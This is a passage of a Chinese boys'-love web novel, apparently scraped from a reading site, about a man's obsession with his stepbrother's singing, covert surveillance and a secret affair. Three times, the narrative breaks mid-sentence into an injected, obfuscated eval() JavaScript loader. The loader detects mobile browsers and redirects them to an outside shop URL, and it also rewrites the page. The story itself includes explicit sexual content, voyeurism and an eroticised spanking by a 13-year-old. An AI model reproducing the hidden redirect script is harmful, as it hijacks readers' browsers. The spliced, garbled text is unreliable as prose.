宋鹤清闭上眼,几乎能立刻回想起来。嗓音清冽时如山涧泉,低沉时如大提琴的夜曲,转音都像羽毛轻轻搔刮过耳膜,直抵灵魂深处,引起战栗的共鸣。每一个音节都精准地敲在他心上。 他一度坚信,这是被天使吻过的嗓子,神明的歌喉也不过如此。 可盛灼讨厌他这个继兄靠近音乐室,更厌恶他偷听。 音乐室的门像划分开两个世界的结界,他在外,盛灼在内。 十八岁那年,为了能在音乐室里近距离听,他想出了一个极其不体面的办法——躲进音乐室存放乐器的立柜。 柜子很深,带着陈年木材的味道。他蜷缩在里面,心跳如擂鼓,生怕一点呼吸声就暴露了自己。 但好在连着几个月从未被发现。胆子便渐渐大了起来,全身心地沉浸在那片天籁里。 有时盛灼会边弹边唱。高音处像吹拂山峰的风,低吟时又带着与年龄不符的磁性。 宋鹤清总是听得入神,连腿麻了都顾不上。幻想着哪天可以正大光明地坐在盛灼身边听他唱歌。 直到那个初冬的夜晚,他被发现了。 当时他正闭眼听悠扬的旋律。宋鹤清正沉浸在幻想盛灼修长的手指在琴键上跳跃的模样。 立柜门外忽然传来“咔哒”一声轻响,是锁舌扣入锁孔的声音。 瞬间他僵住了。 “有人”两个字卡在喉咙口,几乎要脱口而出。 但他死死咬住了唇。不能喊。 要是被人发现他躲在这里偷听该有多难堪。他现在是盛家的大少爷,不能被人知道做这种不体面的事。 没关系,明天一早佣人来打扫就会开门,就借口说自己梦游时来的这里。 只是一个晚上,忍一忍就过去了。 可他低估了初冬夜深的寒凉。 柜内空间逼仄,他无法舒展,冷意从四肢百骸往骨头缝里钻。他抱着膝盖冷得发抖,牙齿都在打颤,一夜无眠到天明。 第二天清晨,头昏沉得厉害,额头滚烫,呼出的气息都带着灼人的热度。他发高烧了。 他艰难等待着佣人来打扫卫生,等待着柜门被打开,渴望光亮和新鲜空气。 然而今天不知怎么回事,佣人迟迟没来。 大脑的意识在高烧中逐渐模糊,他觉得自己快要晕过去时,锁孔再次传来“咔哒”声。 柜门被猛地拉开,突如其来的光线刺得他睁不开眼。 他下意识地抬手遮挡,等眼睛适应了光明,看清柜门外逆光而立的那个人时,大脑一片空白。 随后他反应过来,有一种做坏事被当场抓包的慌乱和无措。 盛灼站在那里,身形还带着少年的清瘦,却已有了迫人的高度。 他居高临下地看着柜子里狼狈不堪的宋鹤清,眼里含着毫不掩饰的戏谑和嘲弄,像极了降临人间的恶魔,身后仿佛张开了黑色翅膀。 “哥哥,”盛灼的声音带着点玩味的拖腔,“你怎么在这里啊,晚上睡觉不冷吗?” 那一刻宋鹤清烧得混沌的脑子骤然清明。 原来盛灼早就知道了。早就知道他躲在这里,所以故意锁上柜门,以此作为对他偷听的惩罚。 但他并不愤怒,只有被看穿的羞耻。毕竟他用了这种上不得台面的手段,内心根本没有底气。 他扶着柜壁试图出来,但双腿却因长时间蜷缩和高烧而酸软无力。 一只脚刚踏出柜门还没站稳,盛灼就突然伸手揪住他的领口,粗暴地将他按回柜子里。 后背重重撞上柜壁,疼痛让他意识又清醒了几分。 盛灼俯身逼近,那张过分贵气的脸上露出恶劣的笑容,像是恶魔终于亮出了獠牙:“再让我发现你偷听,就不会像这次这样简单的惩罚了。” 宋鹤清看着他近在咫尺的脸,张了张嘴,喉咙干哑得发不出清晰的声音。 后面的记忆有些模糊了,只记得自己似乎烧得快要失去意识。 再后来,身体一轻,他被盛灼扛了起来。 那时他已经是个一米八的青年,而盛灼才十三岁,虽然身高已窜到一米七多,但扛起他还是很吃力。 可盛灼的步伐很稳,力气大得惊人,就那样一路将他扛出了音乐室。 再醒来时,他已经躺在自己卧室柔软的大床上,高烧退了大半,佣人正守在旁边。 他问佣人自己是怎么回来的? 佣人说,是小少爷扛他回来的。 看来不是梦。 偷听的事真的被发现了,那种羞耻感依然令他无地自容。 晚上洗澡时,他脱掉衣服,在浴室镜子里无意间瞥见自己臀部那几个清晰红肿的巴掌印时,整个人都愣住了。 耳边恍惚响起盛灼把他扔到床上时,那句带着厌恶的低骂:“狐狸精,跟你妈一样天生就会勾引人。” 是……盛灼打的吗? 这个念头升起的瞬间,心脏竟不受控制地加速跳动起来,羞耻又奇异的刺激感像热流窜过四肢百骸。 他抬手摸了摸发烫的脸颊,觉得自己可能真的有点病态。 自那之后,音乐室的门换上了指纹锁,只有盛灼和固定的清洁佣人才能进入。其他任何人想进入必须经过盛灼的允许。 宋鹤清明白这是为了防他,心里空落落的难受了好一阵。 但很快,那种蚀骨的渴望又驱使他想出了另一个不体面的方法——用录音器。 他买了一个微型的录音设备,小心翼翼打开音乐室窗户,然后将微型设备藏在了音乐室厚重窗帘的褶皱处。 录音的效果虽不及现场聆听的效果,但对他而言已经很满足了。 他把录下的音频存在电脑加密的文件夹里,然后在每个独处的夜晚,戴上耳机播放音频,让自己沉溺于那片美妙的音乐声中。 这一年他做得悄无声息,自以为天衣无缝。 但转折又来了,后来的某个夜晚,他像往常一样点开最新录制的文件。 耳机里先是流畅的钢琴前奏,接着是盛灼低沉的吟唱。他正听得入神,旋律却戛然而止,一段刺耳的杂音后,一道清晰冷冽的人声穿透耳膜,直抵心脏:“宋鹤清,你在挑战我的底线。” 宋鹤清头皮炸开,浑身战栗。恐惧像冰水兜头浇下。 可他又觉得那透过电流传来的声音竟如此的好听,让他尾椎骨窜起一阵酥麻。 他想,他果然病得不轻。怎么会对一个人的声音,迷恋到如此地步。 随后耳机里传来“滋啦”的声音,像是物品被碾碎的刺耳噪音,之后便彻底陷入死寂。 录音器大概是被盛灼踩烂了。 宋鹤清胆战心惊,蜷缩在被子里,心脏怦怦直跳,忐忑地猜测着盛灼会如何“收拾”他。 就在他神经紧绷到极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528781|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致时,卧室房门“砰”地一声被人一脚踹开! 他猛地坐起身。借着窗外照进来的微弱月光,他看到了盛灼的身影。 下一秒,卧室的灯被打开,亮得刺眼。 盛灼带着一身阴沉又愤怒的气场走进来,手里拿着一个拳头大小的物件,径直走到墙边的置物架前放下,然后利落地插上电源。 随后那物件亮起了一个小而清晰的红色光点,像一只窥伺的眼睛。 这是监控摄像头。 宋鹤清茫然地看着。 盛灼的目光落在他脸上,眼神锐利:“你的一举一动,以后都会在我的监视之下。这是对你偷听的惩罚。” 他说完没再多停留一秒,转身离开,砰地一声门又被关上了。 宋鹤清抱着被子,怔怔地看着那个亮着红点的监控器。 预想中的恐惧和担忧并没有降临,反而一股难以言喻的,带着罪恶的兴奋感从心底悄然滋生。 他竟然……在期待。 期待盛灼的视/奸。哪怕是以这种被惩罚的方式。 自己真的无药可救了。 可惜他现在大一在读,只有周末两天会回盛宅,其余时间都在学校宿舍。 他甚至生出荒唐的念头:真想每天都能被盛灼监视。 于是,每个周末回到盛宅的夜晚,成了他隐秘的表演时刻。 他床上的四件套永远都是深色,比如藏青、墨黑,因为能衬得他裸露在外的皮肤白皙晃眼,像上好的凝脂暖玉,细腻得泛着柔光。 他总是穿着浅色的薄薄的睡袍,带子故意系得松散。有时翻个身,衣襟便会滑落,露出圆润的肩头,或是睡袍下摆露出一截修长优美的小腿。 平躺时,领口松垮,会裸/露出一大片光滑平坦的胸膛。 侧身背对摄像头时,那层薄薄的丝绸便紧密地贴合在身上,像画笔一样,沿着肩线流畅地向下,勾勒出细而窄的腰,再起伏而上,描摹出挺翘饱满的臀线,最后延伸至优雅的双腿。 深色的床单如同黑色的夜,而他就是夜色中唯一的光,极致纯洁,又极致诱惑。 他会在脑海里想象,监控屏幕那头的盛灼,看到这幅景象时,会是什么表情? 嫌恶? 鄙夷? 还是……会有一丝别的情绪? 他不得而知。但他很期待。 监控器一直留在那里,红点日夜不息,像一场无声的对峙。 而他,甘之如饴地享受着这种被视/奸的快/感…… - 次日清晨,宋鹤清在浑身酸痛中醒来。 昨晚的记忆碎片拼凑起来,那钢琴冰冷的触感,那地毯粗粝的摩擦,还有床上那疯狂的颠簸纠缠,以及汗水和□□的交织。 都是那么令人脸红心跳。 窗外天才蒙蒙亮,一看时间才刚过六点。 身侧的盛灼还在沉睡,呼吸均匀。没有了醒着时那种令人害怕的戾气。此刻就像一个沉睡的王子,令人不敢冒犯。 宋鹤清小心翼翼地掀开被子,捡起地上的睡袍披上,轻手轻脚地离开了房间。 走廊上,早起打扫的佣人遇见他,恭敬地低头问好,神色如常。 在他们看来,这大概又是大少爷为患有失眠症的小少爷做了针灸治疗吧。 毕竟,这不是第一次了。佣人们并没有怀疑其他。 只有宋鹤清自己知道,睡袍之下那些遍布全身的暧昧吻痕与指印有多么见不得人。 宋鹤清拢紧睡袍衣襟,镇定地颔首回应,快步走回自己的卧室。 刚关上门,手机就震动起来。屏幕上跳动着“盛朗”两个字。 他的神经再度绷紧起来。 11. 第11章 【第11章】: 宋鹤清迟疑了几秒才按下了接听键。恭敬地喊了声“干爹”。 盛朗嗓音暗沉:【有件事需要你办,这件事只有你我和小灼知道,切记不可泄露出去。】 【明白,干爹您说。】宋鹤清一边应着,一边走进浴室。 睡袍从身上滑落,堆叠在脚边,白皙的身体上露出昨夜留下的暧昧痕迹。昭示着昨晚的疯狂。 身上仿佛还残留着盛灼的气息,禁忌的暧昧与他此刻严肃接听的电话,形成一种荒诞的割裂感。 当盛朗说出让他去给盛灼“秘密治疗性/功能障碍”时,宋鹤清几不可闻地松了口气。 原来是这件事。 【好的干爹,我一定保守秘密,尽全力为阿灼医治。】他没有多问一句,笃定地答应了。 这笃定自然是因为知道盛灼不仅没有任何障碍,反而厉害得惊人。 盛朗满意他的态度,只要宋鹤清答应的事,基本都能办成,也能办好。于是放心地挂了电话。 宋鹤清心里那根紧绷的弦放松了。 打开花洒,温热的水流倾泻而下,打湿了他的黑发,沿着紧绷的脊背流下。 还好说的只是这件事。终于暂时不用再去为盛灼物色联姻对象了。 只是他们两人合起伙来欺骗盛朗,这谎言像一颗埋在平静水面下的炸/弹,不知何时会被引/爆。 到那时,掌控一切的盛朗会如何惩罚他这个“帮凶”? 那种未知的恐惧让他不敢深想。 他闭上眼,强迫自己回到当下。 热水冲刷着身体,仿佛在冲刷他的罪孽,试图洗去那份背德的禁忌与隐秘的压力。 至少眼下盛朗不会再让他去为盛灼挑选未来的妻子了。 - 十二月初。 盛灼受邀去京市参加一档国内顶尖的音乐选秀综艺,担任五位导师中最年轻也最受瞩目的一位。 录制周期长达一个月。 得知这个消息时,宋鹤清正在办公室处理一份冗长的并购案文件,手指在键盘上停顿了片刻,心里涌上一股失落感。 又要分开这么久。 然而出发前夜,盛灼突然打电话过来,言简意赅地让他以助理身份陪同前往。 原因是原本的助理家中突遇急事,经纪人一时找不到可靠人选,盛灼便提议他这个稳重可靠的哥哥去。 宋鹤清从未涉足过娱乐圈,对助理的工作一无所知,但他愿意为盛灼去学。 只是他手头的工作…… 他在盛鼎集团暂代盛灼管理公司已有八年。早已成为盛朗不可或缺的左右手。 除了必要的出差,他从没离开过岗位这么久。 恐怕离开太久工作不好交接。盛朗应该也不会同意。 宋鹤清给盛朗打电话,说明了情况。没想到盛朗竟然同意了。 原因是更方便他在盛灼身边治病。 现在在盛朗心里,儿子的“隐疾”关乎传宗接代,自然比公司一个月的日常管理更重要。 至于工作交接,盛朗让张副总负责。 - 飞机抵达京市国际机场。 宋鹤清推着行李车,安静地跟在盛灼身后。 盛灼走在前面,一身GUCCI深棕色飞行夹克,衬得他肩线挺拔利落。黑色修身长裤包裹着笔直的长腿,脚上一双系带马丁靴走在地面上,发出沉稳的声响。 脸上架着一副Versace黑色墨镜,遮住了那双狭长的眼睛,只露出线条分明的下颌和薄唇。 即使遮掩了眼睛,但那一米八七的优越身高,堪比顶级男模的身材比例,以及那股与生俱来的睥睨众生的气场,依旧让他像移动的聚光灯。吸引着路人的注意。 他双手随意插在裤袋里,迈步间带着一种随性又凌厉的酷飒,仿佛脚下不是机场通道,而是万众瞩目的国际T台。 他一出现,等候区瞬间沸腾。 “盛灼!盛灼出来了!” “啊啊啊老公看这里!” “盛灼!妈妈爱你!” “哥哥,我爱你!” 尖叫声如同海啸般席卷而来,震得宋鹤清耳膜发嗡。原本平静的等候区突然沸腾起来。 无数手机和相机镜头对准了盛灼,闪光灯噼里啪啦地亮成一片,几乎要闪瞎人的眼睛。 难怪盛灼要戴墨镜。宋鹤清起初还以为他是为了装酷。现在才知道是为了防闪光灯。 主办方安排的保镖们训练有素地组成人墙,艰难地在疯狂涌来的粉丝潮中开辟出一条狭窄的通道。 宋鹤清庆幸自己戴着口罩,不然也会被这些狂热的粉丝们拍进去。 随着人群的呼喊,他的心跳竟然也在不由自主地加速。 他虽然早就知道盛灼人气极高,但从来没有如此切身地体会过这种被狂热包围的恐怖。 他被这阵仗惊得有些无措,一时忘了自己“助理”的职责,只顾着紧紧跟着前面的盛灼。 直到走出一段距离,他才想起应该替盛灼收下粉丝们高高举起的信。 他赶紧拿出准备好的袋子,侧身一边走一边接过那些装饰精美的信封,低声说着“谢谢”。 盛灼则始终保持着那份高冷的酷劲,偶尔抬手向粉丝方向挥动两下,步伐却毫不停留,径直走向停靠在路边的黑色商务车,拉开车门坐了进去。 宋鹤清快速收完最后几封信跟着钻进了车厢。 车门“砰”地一声关上,瞬间将外面那片震耳欲聋的声浪隔绝开来,世界陡然安静。 他靠在椅背上,轻轻舒了口气,感觉后背渗出了一层薄汗。看来助理这工作也不好干。 接下来的行程是前往市中心的希尔顿酒店办理入住,晚上还要参加主办方安排的接风酒局。 作为助理替盛灼挡酒是分内之事,宋鹤清早已备好了护胃和解酒的药。 车子驶上机场高速,窗外是京市冬日的风景。 从机场到市中心需要两个多小时,宋鹤清不禁想:这些粉丝为了能见盛灼那几秒,不惜耗费来回近五个小时的时间守在这里。该是多么狂热的迷恋啊。 这份痴狂令他心惊。也有些自愧不如。 喜欢盛灼的人实在太多太多了,而自己是千千万万个人之一,显得那么微不足道。所以,盛灼又凭什么会喜欢自己呢。 盛灼上车后便摘了墨镜,闭上眼靠在椅背上养神。 浓密的长睫在眼睑投下一小片阴影,此刻的他很安静,也有些疲惫。 宋鹤清也打算小憩片刻,手机却在此刻震动了一下。 他以为是张副总发来的工作交接信息,点亮屏幕,却没想到是高叙林。 消息框里发来的是一张对镜自拍的裸/背照片。 照片里的男生背对着镜头,站在光线明亮的卫生间里。 第一眼看到的是锻炼得恰到好处的背肌,线条流畅而清晰,皮肤是健康的小麦色,充满了年轻人的朝气与力量感。 再仔细看,皮肤上有一层薄薄的汗珠,在灯光下泛着细腻的光泽,平添了几分野性的诱惑。 视线向下,尾椎骨连接臀部的上方被宽松的运动裤边沿若隐若现地遮挡,引人遐思。 他举着手机的手臂,肱二头肌也呈现出漂亮的隆起弧度。 高叙林还是一如往常的撒娇语气:【清清哥,你帮我看看我有没有脊柱侧弯。今天有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528782|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学说我脊柱看起来有点歪,我还是来找你确诊一下。】 宋鹤清依言点开大图,指腹在屏幕上滑动,仔细审视着那张充满青春荷尔蒙的照片。 作为一名曾经优秀的中医,他的专业本能被唤起,观察着脊柱的走向和两侧肌肉的对称性。 “这么好看?” 耳边突然响起一道冷沉的嗓音。 宋鹤清一怔,侧头对上盛灼不知何时睁开的眼睛。那双眼眸深邃,里面翻涌着他不悦的情绪。 “我在给他看是否有脊柱侧弯。”他稳住心神,平静地解释。 “他不知道直接去医院挂号拍片?”盛灼的声音又冷了几分,“多此一举发张搔首弄姿的照片给你,是想炫耀他的背肌吧。” 宋鹤清无奈:“去医院要花钱,还要排队。而且万一没有侧弯,不是白白折腾一趟么。” 盛灼嗤笑一声,不再说话。 宋鹤清低下头,在屏幕上敲打回复:【叙林,从照片上看,确实存在轻微的脊柱侧弯。不过建议你还是去医院做个正规检查,让医生当面评估一下更稳妥。放心,情况不严重,很容易矫正。】 高叙林回复得飞快:【既然清清哥都这么说了,那我就不去医院了。我相信清清哥的医术,你说有就一定有,你说不严重那肯定没事。】 宋鹤清被他这毫无保留的信任弄得有些失笑,继续叮嘱:【我看你平时总喜欢单肩背包,这个习惯最好改掉,换成双肩包,两边肩膀均匀受力。另外,坐姿、站姿都要注意保持中正,睡姿也尽量仰卧或者向侧弯那边侧卧。运动方面,游泳是非常好的对称性矫正运动。】 高叙林:【那在你们中医上,像我这种情况需要怎么矫正呢?】 谈到专业领域,宋鹤清的神情不自觉变得专注,这是一种久违的感觉。 他用语音回复:【中医里没有 “脊柱侧弯” 病名,多归为筋伤,核心是筋不束骨。简单来说就是两侧筋肉一紧一松,无法固定脊柱,导致侧弯。可以通过推拿松解、针灸调理气血改善,不建议吃药。年轻人坚持游泳,再加针对性推拿矫正,效果更好。】 高叙林立刻顺杆爬:【行!那我白天去游泳,晚上清清哥你给我做推拿好不好?我知道你现在不在医院工作,不能按出诊收费。我出三倍的价格,绝不让你吃亏!】 宋鹤清仿佛能想象到手机那头大男孩眼巴巴望着自己的样子,嘴角忍不住勾起一抹浅淡的笑意:【没关系,我们是邻居,帮你个小忙而已,不用谈钱。】 高叙林发来一个高兴得满地打滚的卡通表情包,紧接着是文字:【谢谢清清哥。清清哥你最好了!】 宋鹤清嘴角的笑意越来越深。他觉得高叙林这个男孩子很可爱。 他正准备回复他得下个月才能回东城,一只骨节分明的手却突然伸过来,毫不客气地抽走了他的手机。 盛灼捏着他的手机,屏幕还停留在他与高叙林的对话框上,他扫过那几句对话,眼神阴沉得能滴出水来。 “这个傻逼就是上次在你家赖着吃饭的那个邻居?” 宋鹤清觉得他对高叙林有敌意,便温声说:“阿灼,他没有赖着我,是他帮了我,我请他的。而且他还是个孩子,没有坏心思的。” “孩子?”盛灼像是听到了什么天大的笑话,气极反笑。 他黑着脸,直接将宋鹤清的手机关机,塞进了自己夹克的内袋里,动作强势,不容拒绝。 宋鹤清欲言又止。 “没收了,”盛灼重新靠回椅背,闭上眼,下颌线依旧紧绷,“助理工作时间,禁止处理私人信息。” 宋鹤清看着盛灼冷硬的侧脸,知道自己再说什么都是徒劳,只能在心底轻轻叹了口气。 12. 第12章 【第12章】: 希尔顿酒店。 盛灼经过旋转门,大步走入大堂。 空气中弥漫着昂贵的香氛,大理石地面倒映着他修长的身影。 墨镜遮住了眼睛,透着神秘和冷傲,整个人的气质令人不敢靠近。 宋鹤清紧随其后,手里拉着两个行李箱步履从容。 两人在前台办理入住,盛灼有些不耐烦,偶尔用指尖在台面上轻点两下,似乎在催促快点。 终于办理好后,宋鹤清拿到房卡,行李被酒店侍者恭敬地接过去,送往顶层的总统套房。 之后两人前往酒店12楼的包厢,赴约今晚的接风宴。 他们比约定时间晚了十分钟。 包厢门被侍者打开时,里面的谈笑声传来,在看到姗姗来迟的盛灼时,突然安静了下来。 随后节目导演程和率先站起身,圆胖的脸上堆满了热情的笑意,快步迎了上来:“哎呀盛老师,你们可算来了!” 制片人萧利军也紧随其后,笑容可掬地欢迎着。 包厢内装潢华贵,灯光亮堂,巨大的圆形餐桌足以容纳二十人。 现在五位节目导师,加上他们各自的助理,以及节目组的核心成员导演、制片、策划、还有那位家喻户晓的主持人张用,全部到齐。 盛灼摘下了墨镜,露出那张棱角分明的帅得极具攻击性的脸。眼里始终带着傲慢和冷漠。对大家投来的目光都报以漫不经心的回视。 导演和制片人主动跟他握手,他伸出手,指尖一触即分。一句话也懒得说,重新将手插回裤袋,径直走向席间空余的座位坐下。 那副姿态给人的感觉好像是他能来参加接风宴就已经很给面子了。 宋鹤清有些尴尬,面上却露出恰到好处的歉意笑容,低声对程和解释道:“程导,实在不好意思,来的路上耽误了一会儿,让大家久等了。” 程和在娱乐圈沉浮多年,见惯了各式各样的天才怪咖,对盛灼这副做派不仅不生气,反而笑容更盛,自己给自己台阶下:“哪里哪里,宋助理太客气了。盛老师平日潜心创作,时间宝贵,不喜社交。百忙之中能抽空来参加我们这小节目,已经是我们的荣幸了。现在时间刚刚好,菜也刚上齐,快请坐,请坐。” 宋鹤清没想到对方态度这么好,讪讪地点头,然后在盛灼旁边的位置坐下。 他礼貌地观察了一圈在场众人。那四位老牌歌手,他都听过他们的歌,现在见到真人,感觉很不一样,内心隐隐有点激动。 还有那位知名主持人张用。也是他比较有印象的一位主持人,在主持界算是元老级别的人物了。 看来节目组这次确实是下了血本。想要打造比往届更火爆的音乐选秀节目。 这场饭局虽然大咖云集,但是不用担心会有王不见王的冷场氛围,因为张用能活跃整个饭局气氛。 他说话妙语连珠,谈吐风趣,掌控全场简直游刃有余。根本不会让大家的话落在地上。 这场饭局没有助理说话的份,助理来的作用就是挡酒的。此时基本都是几位大咖和主办方们在交谈。 盛灼始终一副兴趣缺缺的样子,偶尔简单应一两句,那种随意且敷衍的态度,看上去实在很狂。 盛灼的狂源自于顶级的家庭,顶级的天赋,顶级的才华,顶级的颜值。那种从骨子里透出的天生高人一等,让在座几位老前辈级别的歌手面色有些不好看。 心里虽然都对盛灼不满,但又不敢说出来。 宋鹤清把大家的神情尽收眼底,心里暗暗为盛灼的“狂”而紧张。 他安静地坐在盛灼身边,默默吃菜,用餐姿态优雅,脊背挺得笔直,随时准备喝酒。 宋鹤清注意到盛灼没怎么吃菜,是不是不合胃口?还是没心情吃? 他夹菜的动作顿了一下,最终还是忍住了为他夹菜的想法。 毕竟夹菜这种亲昵的事,不适合在外人面前做。 喝酒开始了。 宋鹤清在来之前早有准备,提前喝了一杯用葛花泡的茶。 这茶能活跃酒湿的运化,延缓酒精的吸收速度,减轻醉酒程度。 当有人向盛灼举杯时,宋鹤清就自然而然地站起身,脸上是无可挑剔的笑容,说:“这杯我代盛老师敬您,感谢各位老师的关照。” 白酒的辛辣液体滑过喉咙,进入胃中,带来一阵灼热的刺激感。 宋鹤清却面不改色,依旧笑得温柔。 盛灼撩起眼皮,瞥了他一眼,狭长深邃的眸子里看不出什么情绪。 接下来又有几人向盛灼敬酒,都被宋鹤清一一挡下。 五六杯高度白酒下肚,饶是宋鹤清有所准备,也有些招架不住了。 感觉喉管与胃部像是被点燃了一般,灼烧感越来越强烈。 但他脸上一直保持着得体的笑容。并且状态也维持得还不错。 只是白皙的皮肤下透出一层淡淡的绯色,不仔细观察几乎察觉不到。 导演程笑着夸赞道:“盛老师的助理真是好酒量,真是难得啊!” 盛灼闻言,嘴角勾起一抹带着些许嘲弄意味的哂笑,并未接话。 宋鹤清微微欠身,谦虚地回应:“程导过奖了,分内之事而已。”他说完,又顺势饮尽杯中刚被斟满的酒液。 他垂下纤长的睫毛,用拳头轻轻抵住嘴唇,强压下胃部翻涌的不适感。 他已经很久没有这样高强度地饮酒了。 以前在公司的应酬场合下,都有秘书替他挡了一部分酒,不至于像现在这样难受。 他虽然喝酒不上脸,但是眼眶周围会浮现潮红,尤其是眼尾,会泛起一道秾丽的嫣红,给他清俊脱俗的脸增添了几分媚意。 像是翠竹边上长了朵娇艳的花,因为这抹艳色,透出一种脆弱而又诱人的风情。 俊俏极了。 酒过三巡,气氛在酒精的催化下变得更加“融洽”,也更为微妙。 不远处坐着的制片人萧利军,从一开始就注意到了这个长相不俗的助理。 他在娱乐圈这个名利场浸淫太久,见过各色美人,或艳丽,或清纯,或妖娆。 但像宋鹤清这样的,气质清尘脱俗,像是不染人间烟火的清竹。眉眼却偏又能在不经意间流转出媚意的,还是头一个。 实在是个妙人。 萧利军端着酒杯,目光落在宋鹤清身上,慢悠悠地品着。看似在回味酒的醇厚,实则是在用目光亵渎宋鹤清。 他心底暗暗咂摸着,幻想着将这朵清冷之花攫取在手中肆意玩弄的画面。 这时歌手林桦端着酒杯走到了盛灼身边,主动跟他交谈,想要聊一聊音乐。 然而盛灼只是懒懒地抬了抬眼,连敷衍都懒得给,直接撇开了视线,仿佛对方根本不值得他浪费一秒钟。 他根本看不上林烨的音乐水平。所以不屑交流。 林桦的笑容瞬间僵在脸上,举着酒杯的手悬在半空。极力忍着怒意。 好歹在圈里他也是前辈,竟然受到这样的无视。 主持人张用立刻笑着打圆场,几句话四两拨千斤,巧妙地化解了这场即将爆发的危机。 宋鹤清不由得捏了一把冷汗,他觉得盛灼的确有些太不给人面子了,忍不住伸出手在桌下轻轻碰了碰盛灼的大腿,示意他收敛一些。 盛灼却满不在乎,他讨厌这样的逢场作戏,浪费他创作的时间。反而还侧头瞪了宋鹤清一眼。 终于,他耐心告罄,不发一言起身朝包厢外走去。 宋鹤清心中一紧,立刻起身。 脸上露出抱歉的神情,对在场的人们解释道:“各位实在对不起,盛老师他……他身体突然不舒服,必须立刻回房间休息。还请多多包涵。” 几位本就对盛灼不满的歌手脸上露出轻蔑的神情,这场饭局他们忍盛灼很久了,此刻见盛灼走了,终于忍不住阴阳怪气地嘀咕:“嗬,好大的架子。” “狂得很呐……” “有点人气就不把前辈们放在眼里呗……” 导演程和虽然心中也未必痛快,但碍于盛灼的背景和才华,只能再次站出来打圆场:“哎呀,身体要紧,身体要紧!盛老师肯定是创作太辛苦了。宋助理,你快跟上去看看。这里没关系,大家理解,理解!” 宋鹤清连声道谢,不再停留,快步追了出去。 他知道在他们离开后,包厢里肯定会议论盛灼的狂妄无礼之类的话。不过那些对盛灼来说并不重要。 离开包厢后,宋鹤清也感觉轻松了不少,终于不用再那么紧绷了,也不用再继续喝酒了。 他果然还是不适合那样的场合。 - 顶层的总统套房占据了酒店最好的视野。巨大的落地窗外是繁华的城市夜景。俯瞰的视角给人一种君临天下的感觉。 盛灼一进门就开始脱衣服,随手将它们扔在昂贵的波斯地毯上,朝着浴室方向走去。 宋鹤清跟在后面捡他的衣服,挂在衣柜里。然后走到自己行李箱旁,打开以后取出一个瓶子。 这个瓶子里面是他用葛花、枳椇子等几味中药材亲自调配的解酒药丸。 他倒出两粒就着温水服下,又慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528783|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝了大半杯热水,感觉胃里那灼烧的翻涌感才渐渐平复下去。 那酒没有很上头,只是有点微醺,不影响他的思维。 就在这时,浴室里传来盛灼的召唤:“进来。” 宋鹤清像收到指令的士兵,立马放下水杯走向浴室。 浴室里氤氲的水汽带着雪松与麝香调的沐浴露香气扑面而来。宋鹤清感到有些晕眩。 “给我按一下头。”盛灼此刻正闭着眼,靠在巨大的圆形浴缸里,声音带着一丝疲惫与烦躁。他觉得脑袋发胀,很不舒服。 这圆形浴缸很大,足以容纳五六个人。 盛灼胸膛以下都浸泡在热水中,后背靠着光滑的边沿,修长的手臂随意地搭在两侧,头颅向后仰靠,露出脖颈,显得喉结非常锋利。 水珠顺着他肌理分明的胸膛滑落,没入水下朦胧的阴影里。 宋鹤清搬过一个小凳子,坐在浴缸边缘。 他挽起袖子,挤了点洗发露,揉搓泡沫,然后手指轻柔地没入盛灼浓密的黑发中。 边洗边按\摩头部穴位。指腹精准地按压着百会、太阳、风池等穴位。力道不轻不重,极为熟练。 盛灼眉头渐渐舒展开来,闭着眼睛享受。 按\摩持续了一会儿,将头发冲洗干净。 宋鹤清拿过柔软的毛巾正准备为他擦拭,盛灼却忽然睁开了眼睛。 他眸子此刻在氤氲水汽中染上了一层深沉的暗色。 余光瞥见宋鹤清因残留酒意浸润得更加媚态的桃花眼,盛灼忽然一把攥住宋鹤清的手腕,猛地将他拉进了浴池。 “哗啦——!” 巨大的水花四溅而起。 宋鹤清猝不及防,整个人跌入温暖的水中,衣服瞬间湿透,紧紧贴在身上,勾勒出他清瘦的身体轮廓。 他挣扎着坐起身,抬手抹眼睛。 水痕顺着他头发滑落,划过嫣红的眼尾,流过因惊愕而微张的唇瓣。 水珠挂在他长长的睫毛上,欲坠不坠,在那张清俊的脸上,竟呈现出一种惊心动魄的被摧折般的娇艳与媚态。 比之前在饭桌上喝酒时更媚,无形地勾动着盛灼的欲/火。 宋鹤清还没回神,盛灼已经强势地托住他的后脑,重重吻上他的唇。 唇齿间带着沐浴露的清香和盛灼独有的气息,宋鹤清被禁锢住,被动地承受着这个激烈而湿漉的吻。 不过多时,衣服已经被扔在浴缸外。 …… 此时一阵不合时宜的手机铃声响起,盛灼眉头皱起,打断了他的事很是恼怒。 